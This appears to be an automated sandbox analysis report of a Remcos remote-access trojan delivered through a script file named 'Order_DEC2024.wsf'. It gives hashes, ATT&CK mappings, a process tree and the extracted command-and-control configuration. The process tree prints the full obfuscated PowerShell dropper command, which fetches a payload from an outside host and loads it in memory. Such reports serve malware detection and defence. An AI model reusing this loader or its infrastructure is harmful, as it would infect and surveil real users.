remcos | 16452b61411c6680b47289a50d7fe824d860231f9c41e79d6adfbc943b302651

Analysis

max time kernel
298s
max time network
294s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-12-2024 06:48

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General

Target

Order_DEC2024.wsf
Size

3KB
MD5

c209a2bdfa9028df5da14abdc1fc58ce
SHA1

17b2e2192cccdde3bc51197285ccdc5a0dc80587
SHA256

a2e71163d56c1feb4714e20d8b559bcf005e10b9044d9565afa0e257b0eb4d62
SHA512

0d7a39070b32d140bfcf01f125eea94d9016d0e641e461d1d2a8d0b42d5d0cc8388fccc1c08272ed09bde710cbd4154b281e638b9f608e7e0b344d6aa3bd54c9

Score

10^/10

remcos 4 discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

lewisham1122.ddnsking.com:6426

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-L31JDJ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	1200	WScript.exe
6	1200	WScript.exe
15	4936	powershell.exe
24	4936	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4936	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4936 set thread context of 4048	4936	powershell.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4936	powershell.exe
4936	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4936	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4048	MSBuild.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 4936	1200	WScript.exe	84
PID 1200 wrote to memory of 4936	1200	WScript.exe	84
PID 4936 wrote to memory of 4048	4936	powershell.exe	86
PID 4936 wrote to memory of 4048	4936	powershell.exe	86
PID 4936 wrote to memory of 4048	4936	powershell.exe	86
PID 4936 wrote to memory of 4048	4936	powershell.exe	86
PID 4936 wrote to memory of 4048	4936	powershell.exe	86
PID 4936 wrote to memory of 4048	4936	powershell.exe	86
PID 4936 wrote to memory of 4048	4936	powershell.exe	86
PID 4936 wrote to memory of 4048	4936	powershell.exe	86
PID 4936 wrote to memory of 4048	4936	powershell.exe	86
PID 4936 wrote to memory of 4048	4936	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Order_DEC2024.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $maremma = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JG5lbmhvID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGFsdm9yb3RhciA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JGNob3N0cmEgPSAkYWx2b3JvdGFyLkRvd25sb2FkRGF0YSgkbmVuaG8pOyRwZXJpZ29zYW1lbnRlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNob3N0cmEpOyRtZXhlcm90byA9ICc8PEJBU0U2NF9TVEFSVD4+JzskbHVwYW50ZSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGVuY2FyZGlyID0gJHBlcmlnb3NhbWVudGUuSW5kZXhPZigkbWV4ZXJvdG8pOyRuaXN0byA9ICRwZXJpZ29zYW1lbnRlLkluZGV4T2YoJGx1cGFudGUpOyRlbmNhcmRpciAtZ2UgMCAtYW5kICRuaXN0byAtZ3QgJGVuY2FyZGlyOyRlbmNhcmRpciArPSAkbWV4ZXJvdG8uTGVuZ3RoOyRjdW5ldGEgPSAkbmlzdG8gLSAkZW5jYXJkaXI7JGF1bGljaXNtbyA9ICRwZXJpZ29zYW1lbnRlLlN1YnN0cmluZygkZW5jYXJkaXIsICRjdW5ldGEpOyRkZWJpbGl0YW1lbnRvID0gLWpvaW4gKCRhdWxpY2lzbW8uVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGF1bGljaXNtby5MZW5ndGgpXTskZWxlbWllaXJhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGViaWxpdGFtZW50byk7JGxldmFkb3VyYSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGVsZW1pZWlyYSk7JGVzY290YSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRlc2NvdGEuSW52b2tlKCRudWxsLCBAKCcwL2ZoY3dvL3IvZWUuZXRzYXAvLzpzcHR0aCcsICdiaWNoYW5jcm9zJywgJ2JpY2hhbmNyb3MnLCAnYmljaGFuY3JvcycsICdNU0J1aWxkJywgJ2JpY2hhbmNyb3MnLCAnYmljaGFuY3JvcycsJ2JpY2hhbmNyb3MnLCdiaWNoYW5jcm9zJywnYmljaGFuY3JvcycsJ2JpY2hhbmNyb3MnLCdiaWNoYW5jcm9zJywnMScsJ2JpY2hhbmNyb3MnKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$escumar = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($maremma));Invoke-Expression $escumar
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
3b232cd2cb758426fd696828314c1532

SHA1
a5b600ce1a1f82a962912928534a84db7cb171d6

SHA256
c2e543bb734a7bb591d08c65f3f278821b26d6f5923e0e183e3e39f03a2d0c02

SHA512
5320dcac4a89951033a8c48ad23c79518be2f6e4cd3fbab3316921b9a5a5dabdd909f4f4e4f5e4eb2b51a6a8a810ba448a0ed550ae43508aa5b880ab6ae35e3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pw2lnzry.gps.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4048-54-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-62-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-101-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-32-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-34-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-93-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-94-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-78-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-18-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-21-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-77-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-23-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-24-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-26-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-29-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-30-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-70-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-102-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-37-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-36-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-39-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-69-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-45-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-61-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4048-53-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4936-0-0x00007FFBB9E73000-0x00007FFBB9E75000-memory.dmp

Filesize
8KB

Download
memory/4936-11-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4936-10-0x000001A477550000-0x000001A477572000-memory.dmp

Filesize
136KB

Download
memory/4936-13-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4936-22-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4936-17-0x000001A477BF0000-0x000001A477D48000-memory.dmp

Filesize
1.3MB

Download
memory/4936-16-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4936-15-0x00007FFBB9E73000-0x00007FFBB9E75000-memory.dmp

Filesize
8KB

Download
memory/4936-14-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4936-12-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download